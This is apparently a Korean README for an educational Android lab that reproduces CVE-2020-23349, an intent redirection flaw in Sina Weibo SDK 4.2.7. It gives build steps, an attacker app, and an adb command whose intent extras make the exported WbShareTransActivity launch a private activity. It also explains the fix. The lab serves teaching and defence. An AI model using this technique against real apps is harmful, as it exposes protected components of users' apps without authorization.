
Sina Weibo SDK 4.2.7의 CVE-2020-23349에 대한 교육용 Android 랩
Sina Weibo Android SDK 4.2.7의 Intent Redirection 취약점을 로컬에서 재현하는 교육용 프로젝트입니다.
허가된 테스트 기기 또는 에뮬레이터에서만 사용하세요. 실제 사용자 앱을 대상으로 사용하면 안 됩니다.
victim: 실제 openDefault-4.2.7.aar을 포함한 취약 앱attacker: exported WbShareTransActivity를 호출하는 공격 앱victim/.../PrivateActivity: android:exported="false"인 재현 대상취약 흐름은 다음과 같습니다.
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Android SDK 36과 JDK 17이 필요합니다.
./gradlew clean assembleDebug
생성 파일:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity 버튼을 누릅니다.EXPLOIT SUCCESS 화면이 나타나면 재현 성공입니다.ADB로 직접 재현할 수도 있습니다.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
SDK 4.2.7은 외부 Intent의 startActivity와 gotoActivity 문자열을 신뢰하고 다음과 같은 형태로 사용합니다.
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
this는 Victim 앱의 Context이므로 Android는 Victim 앱이 자기 private Activity를 실행하는 것으로 처리합니다.
현대 Android 빌드에서는 android:exported를 명시해야 하므로, 이 프로젝트는 과거 SDK의 암묵적 exported 상태를 재현하기 위해 victim/AndroidManifest.xml에서 명시적으로 true를 지정했습니다.
공유 기능이 필요하지 않은 실습에서는 다음 값을 false로 변경하고 다시 빌드합니다.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
이후 같은 공격을 수행하면 SecurityException으로 차단됩니다. 실제 제품에서는 Weibo SDK 4.x를 제거하고 최신 유지보수 버전으로 업그레이드해야 합니다.
포함된 AAR은 Sina Weibo 공식 공개 저장소의 4.2.7 커밋에서 가져왔습니다.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar